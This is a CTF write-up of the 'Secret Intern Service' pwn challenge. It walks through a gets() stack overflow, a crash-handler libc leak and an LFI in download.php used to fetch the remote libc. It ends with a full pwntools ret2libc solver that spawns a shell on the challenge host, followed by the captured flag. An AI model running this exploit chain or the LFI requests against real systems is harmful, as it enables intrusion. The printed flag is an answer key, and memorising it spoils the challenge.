Logo

Writeup

Secret Intern Service — Writeup

0 0xAsta
February 21, 2026
3 min read
pwn linux ret2libc lfi

THJCC26 CTF - Secret Intern Service — Writeup

This writeup details the solution for THJCC26 CTF - Secret Intern Service. The pwn binary looks straightforward at first, but remote exploitation depends on Secret File Viewer to recover the exact libc used by the service.

Summary

The service has a classic stack overflow in add_message() via gets(msg.content). Under normal mitigations (PIE, NX, no canary), a ret2libc chain is viable, but remote libc offsets are required.

A helpful bug in the crash path leaks a libc address:

  • crash_handler() prints Disconnect handler: %p
  • login_agent.on_disconnect is initialized to puts
  • so the printed pointer is effectively a runtime leak of puts in libc

The missing piece is libc identification. The companion Secret File Viewer has an LFI in download.php?file=..., which lets us read /run.sh and /libc.so.6. With that libc, offsets are exact and ret2libc becomes reliable.

Key Code Snippets

Vulnerable overflow in the service:

void add_message(int user_id){
Message msg;
msg.user_id = user_id;
printf("Enter your message: ");
getchar();
gets(msg.content);
printf("Message added for user %d: %s\n\n", msg.user_id, msg.content);
}

Crash leak primitive:

fprintf(stderr, "Disconnect handler: %p\n", (void *)login_agent.on_disconnect);

LFI in Secret File Viewer:

$file = $_GET['file'];
$filename = basename($file);
header('Content-Length: ' . filesize($file));
readfile($file);

Analysis

Components

1) Secret Intern Service (port 30001)

  • Stack overflow in gets
  • PIE + NX + no stack canary
  • Crash handler recursively calls main() and leaks a function pointer from libc

2) Secret File Viewer (port 30000)

  • LFI in download.php?file=...
  • Readable files include system paths and app scripts
  • /run.sh reveals that /libc.so.6 is copied into system libc path in this environment

Why this works

  1. First overflow triggers crash and leaks puts address from libc.
  2. LFI gives the exact remote libc.so.6 binary.
  3. Compute libc_base = leaked_puts - libc.symbols['puts'].
  4. Second overflow builds ret2libc chain:
    • pop rdi; ret
    • pointer to "/bin/sh" in libc
    • system
  5. Send cat /flag over the spawned shell.

Exploitation and Flag Recovery

Step 1: Obtain remote libc via LFI

Query Secret File Viewer:

  • /download.php?file=/run.sh (to confirm libc manipulation)
  • /download.php?file=/libc.so.6 (download exact libc)

Step 2: Leak libc pointer from crash handler

  • Login once
  • Choose Add a message
  • Send oversized input (e.g. 400 bytes)
  • Parse Disconnect handler: 0x...

Step 3: Build and trigger ret2libc

  • Re-login after restart
  • Overflow offset to RIP: 272
  • Chain: pop rdi; ret -> "/bin/sh" -> system
  • Send cat /flag /flag.txt /home/chal/flag* 2>/dev/null

Solver

from pwn import *
import re
import socket
HOST = "chal.thjcc.org"
CONNECT_HOST = "23.146.248.121"
PORT_WEB = 30000
PORT_PWN = 30001
LIBC_PATH = "./remote_libc.so.6"
def http_get_raw(path: str) -> bytes:
s = socket.create_connection((CONNECT_HOST, PORT_WEB), timeout=8)
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"Connection: close\r\n\r\n"
).encode()
s.sendall(req)
data = b""
while True:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
s.close()
return data
def download_libc():
raw = http_get_raw("/download.php?file=/libc.so.6")
body = raw.split(b"\r\n\r\n", 1)[1]
with open(LIBC_PATH, "wb") as f:
f.write(body)
def solve():
context.log_level = "info"
download_libc()
libc = ELF(LIBC_PATH, checksec=False)
pop_rdi = ROP(libc).find_gadget(["pop rdi", "ret"]).address
binsh_off = next(libc.search(b"/bin/sh\x00"))
system_off = libc.symbols["system"]
puts_off = libc.symbols["puts"]
p = remote(CONNECT_HOST, PORT_PWN)
def login(user=b"a", pw=b"b"):
p.sendlineafter(b"Username: ", user)
p.sendlineafter(b"Password: ", pw)
# Stage 1: force crash to leak puts address from crash_handler
login()
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Enter your message: ", b"A" * 400)
leak_blob = p.recvuntil(b"System Restarting...", timeout=3)
m = re.search(rb"Disconnect handler: (0x[0-9a-fA-F]+)", leak_blob)
if not m:
raise RuntimeError("failed to parse leak")
puts_leak = int(m.group(1), 16)
libc_base = puts_leak - puts_off
log.success(f"puts leak: {hex(puts_leak)}")
log.info(f"libc base: {hex(libc_base)}")
# Stage 2: ret2libc -> system('/bin/sh')
login(b"c", b"d")
payload = b"A" * 272
payload += p64(libc_base + pop_rdi)
payload += p64(libc_base + binsh_off)
payload += p64(libc_base + system_off)
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Enter your message: ", payload)
p.sendline(b"cat /flag /flag.txt /home/chal/flag* 2>/dev/null")
print(p.recvall(timeout=2).decode("latin1", "ignore"))
if __name__ == "__main__":
solve()

Final Result

THJCC{w3_d13_1n_7h3_d4rk_50-y0u_m4y_l1v3_1n_7h3_l16h7}